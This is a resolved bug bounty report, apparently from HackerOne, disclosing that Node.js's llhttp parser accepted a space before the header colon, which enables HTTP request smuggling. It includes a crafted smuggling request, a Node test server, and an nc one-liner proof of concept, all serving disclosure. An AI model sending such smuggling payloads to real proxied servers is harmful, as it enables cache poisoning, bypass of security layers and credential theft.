HTTP Request Smuggling due to accepting space before colon
Medium
N
Node.js
Submitted None
Actions:
Reported by
mkg
Vulnerability Details
Technical details and impact analysis
**Summary:**
The ``llhttp`` parser in the ``http``module in Node 16.3.0 accepts requests with a space (SP) right after the header name before the colon. This can lead to HTTP Request Smuggling (HRS).
**Description:**
When Node receives the following request:
```
GET / HTTP/1.1
Host: localhost:5000
Content-Length : 5
hello
```
It interprets the request as having the body `hello`. Here is the relevant section of the code: https://github.com/nodejs/llhttp/blob/master/src/llhttp/http.ts#L410-L415
How could this lead to HRS? Imagine that Node is placed behind a proxy which ignores the CL header with a space before the colon, but forwards it as is. Then the following attack can be performed:
```
GET / HTTP/1.1
Host: localhost:5000
Content-Length : 23
GET / HTTP/1.1
Dummy: GET /smuggled HTTP/1.1
Host: localhost:5000
```
The proxy would see the first and the second GET-request. But Node would see the first and the third GET-request.
## Steps To Reproduce:
We don't know of any proxy that behaves this way, but here is how to show that Node is behaving in the described way. Run the following code like this: `node app.js`
```js
const http = require('http');
// https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/
http.createServer((request, response) => {
let body = [];
request.on('error', (err) => {
response.end("error while reading body: " + err)
}).on('data', (chunk) => {
body.push(chunk);
}).on('end', () => {
body = Buffer.concat(body).toString();
response.on('error', (err) => {
response.end("error while sending response: " + err)
});
response.end("Body length: " + body.length.toString() + " Body: " + body);
});
}).listen(5000);
```
Then send a request with a space between the CL header and the colon. This can be done with the following one-liner:
```sh
echo -en "GET / HTTP/1.1\r\nHost: localhost:5000\r\nContent-Length : 5\r\n\r\nhello" | nc localhost 5000
```
See that Node interpreted the body as `hello`.
# Supporting Material/References:
Relevant section of RFC 7230 (second paragraph of https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4):
```
No whitespace is allowed between the header field-name and colon. In
the past, differences in the handling of such whitespace have led to
security vulnerabilities in request routing and response handling. A
server MUST reject any received request message that contains
whitespace between a header field-name and colon with a response code
of 400 (Bad Request). A proxy MUST remove any such whitespace from a
response message before forwarding the message downstream.
```
## Impact
Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$250.00
Submitted
Weakness
HTTP Request Smuggling